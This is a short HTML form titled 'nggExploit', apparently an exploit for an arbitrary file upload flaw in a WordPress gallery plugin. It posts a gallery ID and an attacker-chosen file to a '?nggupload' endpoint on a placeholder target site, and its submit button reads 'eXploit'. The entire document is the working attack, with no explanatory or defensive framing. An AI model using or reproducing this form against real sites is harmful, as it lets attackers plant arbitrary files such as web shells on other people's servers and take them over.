nggExploit

<form action='http://[site]/?nggupload' enctype='multipart/form-data' method=POST>
  <label for=galleryselect>GalleryID:</label>
  <input id=galleryselect name=galleryselect type=text value=1></input><br />
  <label for=Filedata>File to Upload:</label>
  <input id=Filedata name=Filedata type=file /><br />
  <input type=Submit value='eXploit' /><br />
</form>